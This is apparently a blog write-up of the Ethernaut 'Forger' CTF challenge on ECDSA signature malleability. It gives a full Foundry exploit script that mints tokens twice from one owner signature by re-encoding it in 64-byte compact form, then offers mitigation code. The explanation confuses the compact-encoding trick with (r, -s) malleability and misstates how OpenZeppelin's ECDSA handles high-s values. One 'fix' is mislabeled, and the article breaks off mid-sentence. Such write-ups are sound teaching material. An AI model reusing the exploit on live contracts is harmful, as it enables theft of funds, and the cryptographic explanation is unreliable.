Skip to content
On this page

Exploiting Signature Malleability in Ethereum: A Deep Dive into the Forger CTF Challenge

Introduction

In the world of blockchain security, cryptographic signatures serve as the bedrock of trust and authentication. However, even the most robust cryptographic systems can harbor subtle vulnerabilities that, when exploited, can lead to significant security breaches. The Forger CTF challenge from Ethernaut presents a fascinating case study in Ethereum signature malleability—a vulnerability that allows attackers to create multiple valid signatures from a single original signature. This technical article will dissect the Forger challenge, exploring the underlying cryptographic principles, the vulnerability's mechanics, and the step-by-step exploitation process.

Understanding the Forger Challenge

Challenge Overview

The Forger challenge presents us with an ERC-20 token contract that implements a signature-based minting mechanism. The contract owner can sign messages authorizing token minting, and users can redeem these signatures to mint tokens. The challenge description reveals that one "golden signature" already exists, good for 100 tokens, and the developers claim the system is "single-use and perfectly safe." Our objective is to prove otherwise by increasing the total token supply beyond 100 tokens.

The Contract Architecture

Let's examine the core contract structure:

solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import { ERC20 } from "openzeppelin-contracts-v4.6.0/token/ERC20/ERC20.sol";
import { ECDSA } from "openzeppelin-contracts-v4.6.0/utils/cryptography/ECDSA.sol";

contract Forger is ERC20 {
    error SignatureExpired();
    error SignatureUsed();
    error InvalidSigner(address wrongSigner);
    error OnlyOwner();

    address public owner = 0xC9CAF9e17BBb4e4D27810d97d2C2a467A701e0D5;
    mapping(bytes32 signatureHash => bool used) public signatureUsed;

    constructor() ERC20("Forger Token", "FT") {}
    
    // ... function implementations
}

The contract maintains a mapping signatureUsed to track which signatures have been redeemed, preventing double-spending. The critical vulnerability lies in the signature verification logic.

Cryptographic Foundations: ECDSA in Ethereum

ECDSA Basics

Elliptic Curve Digital Signature Algorithm (ECDSA) is the cryptographic standard used by Ethereum for signing transactions and messages. The algorithm operates on the secp256k1 elliptic curve and produces signatures consisting of three components: (r, s, v).

  • r: The x-coordinate of a random point on the elliptic curve
  • s: A value calculated from the private key, message hash, and random value
  • v: The recovery identifier (27 or 28 in Ethereum)

Signature Verification Process

When verifying an ECDSA signature, the verifier:

  1. Computes the message hash
  2. Uses the signature components (r, s, v) to recover the signer's public key
  3. Compares the recovered address with the expected signer's address

The Malleability Vulnerability

ECDSA signatures have a mathematical property known as malleability. Given a valid signature (r, s, v), an alternative valid signature can be created as (r, -s mod n, v'), where n is the order of the elliptic curve group. In Ethereum terms, this means if v is 27, the alternative signature will have v = 28, and vice versa.

Analyzing the Vulnerability

The Signature Storage Mechanism

The Forger contract stores used signatures by their hash:

solidity
mapping(bytes32 signatureHash => bool used) public signatureUsed;

And checks for reuse:

solidity
require(!signatureUsed[keccak256(signature)], SignatureUsed());

This seems secure at first glance, but the vulnerability emerges from how signatures are hashed and compared.

The Critical Flaw

The contract hashes the raw signature bytes to create a storage key. However, two mathematically equivalent signatures (the original and its malleable counterpart) will produce different byte sequences and therefore different hashes. The contract doesn't normalize signatures before hashing them, allowing both versions to pass as unique, valid signatures.

The Provided Golden Signature

The challenge provides us with a pre-signed signature:

solidity
// signature = f73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb1c
// amount = 100 ether
// receiver = 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e
// salt = 0x044852b2a670ade5407e78fb2863c51de9fcb96542a07186fe3aeda6bb8a116d
// deadline = 115792089237316195423570985008687907853269984665640564039457584007913129639935

Let's break down this signature:

  • It's a 65-byte signature (32 bytes for r + 32 bytes for s + 1 byte for v)
  • The last byte 0x1c indicates v = 28
  • The r component: f73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809
  • The s component: 402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb

Crafting the Exploit

Step 1: Understanding Signature Components

First, we need to extract the components from the provided signature:

solidity
bytes memory signature28 = bytes(hex"f73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb1c");

// Extracting components
bytes32 r = 0xf73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809;
bytes32 s = 0x402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb;
uint8 v = 28;

Step 2: Creating the Malleable Signature

To create the malleable counterpart, we need to:

  1. Calculate -s mod n (where n is the curve order)
  2. Change v from 28 to 27

However, there's a simpler approach in Ethereum. The OpenZeppelin ECDSA library handles signature malleability internally when recovering addresses, but the contract stores raw signature hashes. We can exploit this by creating the compact representation with different v values.

Step 3: Building the Compact Signature

Ethereum signatures can be represented in two formats:

  1. Traditional format: r || s || v (65 bytes)
  2. Compact format: r || vs (64 bytes), where vs combines s and v

The compact format encodes the v bit in the most significant bit of s. Here's how we construct it:

solidity
bytes memory compactSig;
{
    bytes32 r = 0xf73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809;
    bytes32 s = 0x402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb;
    uint8 v = 28;
    bytes32 vs;
    
    if (v == 27) {
        vs = s;
    } else {
        // Set the most significant bit to indicate v = 28
        vs = s | bytes32(uint256(1) << 255);
    }
    
    compactSig = abi.encodePacked(r, vs);
}

Step 4: The Complete Exploit Script

Here's the complete exploit script that redeems both signature versions:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol"; 
import {Forger} from "../test/forger/Forger.sol";

contract MyScript is Script { 
    function run() external { 
        // Replace with actual Forger instance address
        address FORGER_INST = payable(address(0x...));

        // Original signature with v=28
        bytes memory signature28 = bytes(hex"f73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb1c");
        
        // Parameters from the challenge
        uint256 amount = 100 ether;
        address receiver = address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e);
        bytes32 salt = 0x044852b2a670ade5407e78fb2863c51de9fcb96542a07186fe3aeda6bb8a116d;
        uint256 deadline = 115792089237316195423570985008687907853269984665640564039457584007913129639935;

        // Create compact signature representation
        bytes memory compactSig;
        {
            bytes32 r = 0xf73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809;
            bytes32 s = 0x402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb;
            uint8 v = 28;
            bytes32 vs;
            
            if (v == 27) {
                vs = s;
            } else {
                vs = s | bytes32(uint256(1) << 255);
            }
            compactSig = abi.encodePacked(r, vs);  
        }

        // Load player's private key for broadcasting
        uint256 playerpk = vm.envUint("PRIVATE_KEY");

        // Execute both transactions
        vm.startBroadcast(playerpk);
        
        // First transaction: redeem original signature
        Forger(FORGER_INST).createNewTokensFromOwnerSignature(
            signature28, 
            receiver, 
            amount, 
            salt, 
            deadline
        );
        
        // Second transaction: redeem compact signature (different hash, same validity)
        Forger(FORGER_INST).createNewTokensFromOwnerSignature(
            compactSig, 
            receiver, 
            amount, 
            salt, 
            deadline
        );
        
        vm.stopBroadcast();
    }
}

Technical Deep Dive: Why This Works

Hash Collision Avoidance

The core issue is that keccak256(signature28)keccak256(compactSig). Even though both signatures recover to the same signer address, their byte representations differ:

  • signature28: 65 bytes (r + s + v)
  • compactSig: 64 bytes (r + vs)

The contract's signatureUsed mapping stores hashes of these different byte sequences as separate entries, allowing both to pass the "signature used" check.

ECDSA Recovery Consistency

Both signature formats correctly recover to the owner's address because:

  1. The OpenZeppelin ECDSA.recover() function handles both signature formats
  2. It internally normalizes signatures to prevent malleability attacks at the recovery level
  3. However, the contract checks signature uniqueness BEFORE recovery, creating a window of vulnerability

Mathematical Proof of Malleability

For the mathematically inclined, here's why signature malleability exists in ECDSA:

Given a signature (r, s) where:

  • s = k⁻¹(z + r*d) mod n
  • k is a random nonce
  • z is the message hash
  • d is the private key
  • n is the curve order

The alternative signature (r, -s mod n) is also valid because:

  • -s = -k⁻¹(z + r*d) mod n
  • The verification equation s⁻¹(z*G + r*Q) still holds, where Q = d*G

Mitigation Strategies

1. Signature Normalization

The most robust solution is to normalize signatures before hashing them:

solidity
function normalizeSignature(bytes memory signature) internal pure returns (bytes memory) {
    require(signature.length == 65, "Invalid signature length");
    
    bytes32 r;
    bytes32 s;
    uint8 v;
    
    assembly {
        r := mload(add(signature, 32))
        s := mload(add(signature, 64))
        v := byte(0, mload(add(signature, 96)))
    }
    
    // Normalize to lower s value (prevent malleability)
    uint256 sValue = uint256(s);
    uint256 n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141;
    
    if (sValue > n / 2) {
        sValue = n - sValue;
        v = v == 27 ? 28 : 27;
    }
    
    // Always use traditional format for consistency
    return abi.encodePacked(bytes32(r), bytes32(sValue), bytes1(v));
}

function createNewTokensFromOwnerSignatureFixed(
    bytes calldata signature,
    address receiver,
    uint256 amount,
    bytes32 salt,           
    uint256 deadline      
) public {
    require(block.timestamp <= deadline, SignatureExpired());
    
    bytes memory normalizedSig = normalizeSignature(signature);
    require(!signatureUsed[keccak256(normalizedSig)], SignatureUsed());
    
    bytes32 messageHash = keccak256(abi.encode(
        receiver,
        amount,
        salt,
        deadline
    ));
    
    address signer = ECDSA.recover(messageHash, signature);
    require(signer == owner, InvalidSigner(signer));
    
    signatureUsed[keccak256(normalizedSig)] = true;
    _mint(receiver, amount);
}

2. Use OpenZeppelin's SignatureChecker

OpenZeppelin provides a SignatureChecker library that handles signature validation more securely:

solidity
import {SignatureChecker} from "openzeppelin-contracts/utils/cryptography/SignatureChecker.sol";

function createNewTokensFromOwnerSignatureSecure(
    bytes calldata signature,
    address receiver,
    uint256 amount,
    bytes32 salt,           
    uint256 deadline      
) public {
    require(block.timestamp <= deadline, SignatureExpired());
    
    // Use ECDSA.tryRecover to get normalized signature hash
    bytes32 messageHash = keccak256(abi.encode(
        receiver,
        amount,
        salt,
        deadline
    ));
    
    bytes32 ethSignedMessageHash = ECDSA.toEthSignedMessageHash(messageHash);
    address signer = ECDSA.recover(ethSignedMessageHash, signature);
    
    // Check signature uniqueness using signer + message hash
    bytes32 uniqueId = keccak256(abi.encodePacked(signer, ethSignedMessageHash));
    require(!signatureUsed[uniqueId], SignatureUsed());
    
    require(signer == owner, InvalidSigner(signer));
    
    signatureUsed[uniqueId] = true;
    _mint(receiver, amount);
}

3. Nonce-Based Solution

Another approach is to use a nonce system instead of signature hashing:

solidity
mapping(address => uint256) public nonces;

function createNewTokensWithNonce(
    bytes calldata signature,
    address receiver,
    uint256 amount,
    uint256 deadline      
) public {
    require(block.timestamp <= deadline, SignatureExpired());
    
    uint256 currentNonce = nonces[receiver];
    bytes32 messageHash = keccak256(abi.encode(
        receiver,
        amount,
        currentNonce,
        deadline
    ));
    
    address signer = ECDSA.recover(messageHash, signature);
    require(signer == owner, InvalidSigner(signer));
    
    nonces[receiver]++;
    _mint(receiver, amount);
}

Broader Implications and Real-World Impact

Historical Context

Signature malleability has been a known issue in blockchain systems:

  • Bitcoin: Addressed in BIP 62
  • Ethereum: The issue was exploited in early smart contracts
  • EIP-2: Hard-fork changes made to prevent transaction malleability

Real-World Exploits

Similar vulnerabilities have been exploited in:

  1. Multi-signature wallets: Where signature ordering could be manipulated
  2. Token sale contracts: Allowing multiple redemptions of whitelist signatures
  3. DeFi protocols: Where signature-based approvals could be replayed

Security Best Practices

  1. Always normalize signatures before storage or comparison
  2. Use established libraries like OpenZeppelin's ECDSA implementation
  3. Implement replay protection with nonces or block constraints
  4. Consider using EIP-712 for structured data signing
  5. Regular security audits for signature-handling code

Conclusion

The Forger CTF challenge provides a valuable lesson in cryptographic security. While ECDSA is mathematically sound, its implementation in smart contracts requires careful consideration of edge cases like signature malleability. The vulnerability exploited in this challenge—different signature representations producing different hashes—highlights the importance of normalizing cryptographic data before processing.

For developers, the key takeaways are:

  1. Never trust raw signature bytes for uniqueness checks
  2. Always use established, audited libraries for cryptographic operations
  3. Consider the broader context of how signatures are used and stored
  4. Implement defense-in-depth with multiple layers of validation

For security researchers, this challenge demonstrates that even seemingly secure systems can harbor subtle vulnerabilities. The intersection of cryptography and smart contract development requires expertise in both domains to build truly secure systems.

As blockchain technology continues

Built with AiAda